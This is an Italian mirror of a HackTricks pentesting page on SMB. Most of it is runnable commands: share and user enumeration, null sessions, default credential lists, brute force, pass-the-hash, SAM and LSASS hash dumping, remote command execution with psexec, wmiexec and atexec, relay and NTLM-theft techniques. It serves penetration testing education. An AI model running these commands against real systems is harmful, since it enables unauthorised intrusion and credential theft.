mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
537 lines
26 KiB
Markdown
537 lines
26 KiB
Markdown
# 139,445 - Pentesting SMB
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Porta 139**
|
||
|
||
Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per permettere ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione dei dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono tramite i loro nomi NetBIOS, che possono essere lunghi fino a 16 caratteri e sono spesso diversi dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che agisce come client) invia un comando "call" a un'altra applicazione (che agisce come server) utilizzando **TCP Port 139**.
|
||
```
|
||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||
```
|
||
## Port 445
|
||
|
||
Tecnicamente, la porta 139 è indicata come ‘NBT over IP’, mentre la porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche oggi noto come **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicazione, SMB/CIFS è utilizzato principalmente per permettere l'accesso condiviso a file, stampanti, porte seriali e per facilitare varie forme di comunicazione tra nodi di una rete.
|
||
|
||
Ad esempio, nel contesto di Windows, si evidenzia che SMB può funzionare direttamente su TCP/IP, eliminando la necessità di NetBIOS over TCP/IP, mediante l'utilizzo della porta 445. Al contrario, su altri sistemi si osserva l'impiego della porta 139, il che indica che SMB viene eseguito in combinazione con NetBIOS over TCP/IP.
|
||
```
|
||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||
```
|
||
### SMB
|
||
|
||
Il protocollo **Server Message Block (SMB)**, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, le directory e altre risorse di rete come stampanti e router. Utilizzato principalmente nella serie di sistemi operativi **Windows**, SMB garantisce compatibilità retroattiva, permettendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software libera, che consente l'implementazione di SMB su sistemi **Linux** e **Unix**, facilitando così la comunicazione cross-platform tramite SMB.
|
||
|
||
Le share, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in modo parzialmente **indipendente** dalla struttura reale del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, permettono un **controllo granulare** sui permessi utente, includendo attributi come `execute`, `read` e `full access`. Questi permessi possono essere assegnati a singoli utenti o gruppi, basati sulle share, e sono distinti dai permessi locali impostati sul server.
|
||
|
||
### IPC$ Share
|
||
|
||
L'accesso alla share IPC$ può essere ottenuto tramite una null session anonima, permettendo l'interazione con i servizi esposti tramite named pipes. L'utility `enum4linux` è utile a questo scopo. Utilizzata correttamente, consente l'acquisizione di:
|
||
|
||
- Informazioni sul sistema operativo
|
||
- Dettagli sul dominio padre
|
||
- Un elenco di utenti e gruppi locali
|
||
- Informazioni sulle share SMB disponibili
|
||
- La policy di sicurezza effettiva del sistema
|
||
|
||
Questa funzionalità è fondamentale per amministratori di rete e professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
|
||
```bash
|
||
enum4linux -a target_ip
|
||
```
|
||
Il comando sopra è un esempio di come `enum4linux` potrebbe essere utilizzato per eseguire un'enumerazione completa contro un target specificato da `target_ip`.
|
||
|
||
## Cos'è NTLM
|
||
|
||
Se non sai cos'è NTLM o vuoi capire come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM**, che spiega **come funziona questo protocollo e come puoi sfruttarlo:**
|
||
|
||
|
||
{{#ref}}
|
||
../../windows-hardening/ntlm/
|
||
{{#endref}}
|
||
|
||
## **Enumerazione del server**
|
||
|
||
### **Scansione** di una rete alla ricerca di hosts:
|
||
```bash
|
||
nbtscan -r 192.168.0.1/24
|
||
```
|
||
### Versione del server SMB
|
||
|
||
Per cercare possibili exploits relativi alla versione SMB è importante sapere quale versione è in uso. Se queste informazioni non compaiono negli altri strumenti utilizzati, puoi:
|
||
|
||
- Usa il modulo ausiliario **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||
- Oppure questo script:
|
||
```bash
|
||
#!/bin/sh
|
||
#Author: rewardone
|
||
#Description:
|
||
# Requires root or enough permissions to use tcpdump
|
||
# Will listen for the first 7 packets of a null login
|
||
# and grab the SMB Version
|
||
#Notes:
|
||
# Will sometimes not capture or will print multiple
|
||
# lines. May need to run a second time for success.
|
||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||
echo "" && sleep .1
|
||
```
|
||
### **Ricerca exploit**
|
||
```bash
|
||
msf> search type:exploit platform:windows target:2008 smb
|
||
searchsploit microsoft smb
|
||
```
|
||
### **Possibili** Credenziali
|
||
|
||
| **Nome utente(s)** | **Password comuni** |
|
||
| -------------------- | ----------------------------------------- |
|
||
| _(vuoto)_ | _(vuoto)_ |
|
||
| guest | _(vuoto)_ |
|
||
| Administrator, admin | _(vuoto)_, password, administrator, admin |
|
||
| arcserve | arcserve, backup |
|
||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||
| backupexec, backup | backupexec, backup, arcada |
|
||
| test, lab, demo | password, test, lab, demo |
|
||
|
||
### Brute Force
|
||
|
||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||
|
||
### Informazioni sull'ambiente SMB
|
||
|
||
### Ottenere informazioni
|
||
```bash
|
||
#Dump interesting information
|
||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||
|
||
#Connect to the rpc
|
||
rpcclient -U "" -N <IP> #No creds
|
||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||
rpcclient -U "username%passwd" <IP> #With creds
|
||
#You can use querydispinfo and enumdomusers to query user information
|
||
|
||
#Dump user information
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
|
||
#Map possible RPC endpoints
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
```
|
||
### Enumerare Utenti, Gruppi e Utenti Connessi
|
||
|
||
Queste informazioni dovrebbero già essere raccolte da enum4linux e enum4linux-ng
|
||
```bash
|
||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||
|
||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||
|
||
rpcclient -U "" -N 10.10.10.10
|
||
enumdomusers
|
||
enumdomgroups
|
||
```
|
||
### Enumerare utenti locali
|
||
|
||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||
```bash
|
||
lookupsid.py -no-pass hostname.local
|
||
```
|
||
Comando in una riga
|
||
```bash
|
||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||
```
|
||
### Metasploit - Enumerare gli utenti locali
|
||
```bash
|
||
use auxiliary/scanner/smb/smb_lookupsid
|
||
set rhosts hostname.local
|
||
run
|
||
```
|
||
### **Enumerazione di LSARPC e SAMR rpcclient**
|
||
|
||
|
||
{{#ref}}
|
||
rpcclient-enumeration.md
|
||
{{#endref}}
|
||
|
||
### Connessione GUI da Linux
|
||
|
||
#### Nel terminale:
|
||
|
||
`xdg-open smb://cascade.htb/`
|
||
|
||
#### Nella finestra del file manager (nautilus, thunar, ecc.)
|
||
|
||
`smb://friendzone.htb/general/`
|
||
|
||
## Enumerazione delle cartelle condivise
|
||
|
||
### Elencare le cartelle condivise
|
||
|
||
È sempre consigliato verificare se puoi accedere a qualcosa; se non hai credenziali prova a usare **null** **credentials/guest user**.
|
||
```bash
|
||
smbclient --no-pass -L //<IP> # Null user
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
|
||
smbmap -H <IP> [-P <PORT>] #Null user
|
||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||
|
||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||
```
|
||
### **Connetti/Elenca una cartella condivisa**
|
||
```bash
|
||
#Connect using smbclient
|
||
smbclient --no-pass //<IP>/<Folder>
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||
|
||
#List with smbmap, without folder it list everything
|
||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
```
|
||
### **Enumerare manualmente le share di windows e connettersi ad esse**
|
||
|
||
Potrebbe essere che tu sia limitato nella visualizzazione delle share della macchina host e quando provi a elencarle sembra che non ci siano share disponibili a cui connettersi. Perciò può valere la pena provare brevemente a connettersi manualmente a una share. Per enumerare le share manualmente potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando usi una sessione valida (es. null session o valid credentials). Queste possono indicare se la share esiste ma non hai accesso oppure se la share non esiste affatto.
|
||
|
||
Common share names for windows targets are
|
||
|
||
- C$
|
||
- D$
|
||
- ADMIN$
|
||
- IPC$
|
||
- PRINT$
|
||
- FAX$
|
||
- SYSVOL
|
||
- NETLOGON
|
||
|
||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||
|
||
Puoi provare a connetterti ad esse usando il seguente comando
|
||
```bash
|
||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||
```
|
||
o questo script (usando una null session)
|
||
```bash
|
||
#/bin/bash
|
||
|
||
ip='<TARGET-IP-HERE>'
|
||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||
|
||
for share in ${shares[*]}; do
|
||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||
|
||
if [[ -z $output ]]; then
|
||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||
else
|
||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||
fi
|
||
done
|
||
```
|
||
esempi
|
||
```bash
|
||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||
```
|
||
### **Enumerare le condivisioni da Windows / senza strumenti di terze parti**
|
||
|
||
PowerShell
|
||
```bash
|
||
# Retrieves the SMB shares on the locale computer.
|
||
Get-SmbShare
|
||
Get-WmiObject -Class Win32_Share
|
||
# Retrieves the SMB shares on a remote computer.
|
||
get-smbshare -CimSession "<computer name or session object>"
|
||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||
Get-SmbConnection
|
||
```
|
||
Console CMD
|
||
```shell
|
||
# List shares on the local computer
|
||
net share
|
||
# List shares on a remote computer (including hidden ones)
|
||
net view \\<ip> /all
|
||
```
|
||
MMC Snap-in (grafico)
|
||
```shell
|
||
# Shared Folders: Shared Folders > Shares
|
||
fsmgmt.msc
|
||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||
compmgmt.msc
|
||
```
|
||
explorer.exe (interfaccia grafica), digita `\\<ip>\` per vedere le condivisioni non nascoste disponibili.
|
||
|
||
### Montare una cartella condivisa
|
||
```bash
|
||
mount -t cifs //x.x.x.x/share /mnt/share
|
||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||
```
|
||
### **Scaricare file**
|
||
|
||
Leggi le sezioni precedenti per imparare come connettersi usando credentials/Pass-the-Hash.
|
||
```bash
|
||
#Search a file and download
|
||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||
```
|
||
|
||
```bash
|
||
#Download all
|
||
smbclient //<IP>/<share>
|
||
> mask ""
|
||
> recurse
|
||
> prompt
|
||
> mget *
|
||
#Download everything to current directory
|
||
```
|
||
Comandi:
|
||
|
||
- mask: specifica la mask usata per filtrare i file nella directory (es. "" per tutti i file)
|
||
- recurse: abilita/disabilita la ricorsione (predefinito: disattivato)
|
||
- prompt: disattiva la richiesta dei nomi dei file (predefinito: attivato)
|
||
- mget: copia tutti i file che corrispondono alla mask da host a client machine
|
||
|
||
(_Informazioni dalla manpage di smbclient_)
|
||
|
||
### Ricerca cartelle condivise di dominio
|
||
|
||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||
```bash
|
||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||
```
|
||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||
- `-M spider_plus [--share <share_name>]`
|
||
- `--pattern txt`
|
||
```bash
|
||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||
```
|
||
Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`**, poiché **possono contenere password** per utenti configurati con **autologon** tramite Group Policy. Anche i file **`web.config`** sono importanti perché contengono credenziali.
|
||
|
||
> [!TIP]
|
||
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati del dominio. Al suo interno potresti **trovare** molti diversi batch, VBScript e PowerShell **script**.\
|
||
> Dovresti **controllare** gli **script** al suo interno perché potresti **trovare** informazioni sensibili come **password**.
|
||
|
||
## Leggere il registro
|
||
|
||
Potresti essere in grado di **leggere il registro** usando alcune credenziali scoperte. Impacket **`reg.py`** ti permette di provare:
|
||
```bash
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||
```
|
||
## Post Exploitation
|
||
|
||
La **config di default** di un server **Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe contenere delle **config pericolose**:
|
||
|
||
| **Impostazione** | **Descrizione** |
|
||
| --------------------------- | ------------------------------------------------------------------- |
|
||
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione corrente? |
|
||
| `read only = no` | Vieta la creazione e la modifica di file? |
|
||
| `writable = yes` | Permettere agli utenti di creare e modificare file? |
|
||
| `guest ok = yes` | Permettere la connessione al servizio senza usare una password? |
|
||
| `enable privileges = yes` | Rispettare i privilegi assegnati a uno specifico SID? |
|
||
| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? |
|
||
| `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? |
|
||
| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? |
|
||
| `magic script = script.sh` | Quale script dovrebbe essere eseguito quando lo script viene chiuso? |
|
||
| `magic output = script.out` | Dove deve essere memorizzato l'output dello magic script? |
|
||
|
||
Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
|
||
|
||
## Authenticate using Kerberos
|
||
|
||
Puoi **autenticarti** a **Kerberos** usando gli strumenti **smbclient** e **rpcclient**:
|
||
```bash
|
||
smbclient --kerberos //ws01win10.domain.com/C$
|
||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
## **Eseguire comandi**
|
||
|
||
### **crackmapexec**
|
||
|
||
crackmapexec può eseguire comandi **sfruttando** uno qualsiasi di **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci usare con il parametro `--exec-method`:
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||
```
|
||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||
|
||
Entrambe le opzioni **creeranno un nuovo servizio** (usando _\pipe\svcctl_ via SMB) sulla macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** caricherà un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**file-less technique-**-).\
|
||
**Maggiori informazioni** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
Usando il **parametro**`-k` puoi autenticarti tramite **kerberos** invece di **NTLM**
|
||
|
||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||
|
||
Esegui furtivamente una shell di comandi senza toccare il disco o avviare un nuovo servizio usando DCOM tramite **port 135.**\
|
||
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
Usando il **parametro**`-k` puoi autenticarti con **kerberos** invece di **NTLM**
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||
|
||
Eseguire comandi tramite il Task Scheduler (usando _\pipe\atsvc_ via SMB).\
|
||
Su **kali** si trova in /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
## Riferimento Impacket
|
||
|
||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
### ksmbd superficie di attacco e fuzzing del protocollo SMB2/SMB3 (syzkaller)
|
||
|
||
{{#ref}}
|
||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||
{{#endref}}
|
||
|
||
## **Bruteforce credenziali utenti**
|
||
|
||
**Questo non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||
```
|
||
## SMB relay attack
|
||
|
||
Questo attacco utilizza il toolkit Responder per **catturare sessioni di autenticazione SMB** su una rete interna, e **inoltrarle** a una **target machine**. Se la **sessione di autenticazione** ha successo, ti porterà automaticamente in una **system** **shell**.\
|
||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
## SMB-Trap
|
||
|
||
La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi all'host quando una pagina cerca di accedere a contenuti tramite SMB, per esempio: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
Questo avviene con le funzioni:
|
||
|
||
- URLDownloadToFile
|
||
- URLDownloadToCache
|
||
- URLOpenStream
|
||
- URLOpenBlockingStream
|
||
|
||
Che sono utilizzate da alcuni browser e strumenti (come Skype)
|
||
|
||
.png>)
|
||
|
||
### SMBTrap using MitMf
|
||
|
||
.png>)
|
||
|
||
## NTLM Theft
|
||
|
||
Simile a SMB Trapping, piantare file malevoli su un target system (via SMB, per esempio) può indurre un tentativo di autenticazione SMB, permettendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può poi essere crackato offline o usato in un [SMB relay attack](#smb-relay-attack).
|
||
|
||
[Vedi: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||
|
||
## HackTricks Comandi Automatici
|
||
```
|
||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMB
|
||
Note: |
|
||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
#These are the commands I run in order every time I see an open SMB port
|
||
|
||
With No Creds
|
||
nbtscan {IP}
|
||
smbmap -H {IP}
|
||
smbmap -H {IP} -u null -p null
|
||
smbmap -H {IP} -u guest
|
||
smbclient -N -L //{IP}
|
||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||
rpcclient {IP}
|
||
rpcclient -U "" {IP}
|
||
crackmapexec smb {IP}
|
||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||
getArch.py -target {IP}
|
||
|
||
With Creds
|
||
smbmap -H {IP} -u {Username} -p {Password}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||
|
||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||
|
||
Entry_2:
|
||
Name: Enum4Linux
|
||
Description: General SMB Scan
|
||
Command: enum4linux -a {IP}
|
||
|
||
Entry_3:
|
||
Name: Nmap SMB Scan 1
|
||
Description: SMB Vuln Scan With Nmap
|
||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||
|
||
Entry_4:
|
||
Name: Nmap Smb Scan 2
|
||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||
|
||
Entry_5:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||
|
||
Entry_6:
|
||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|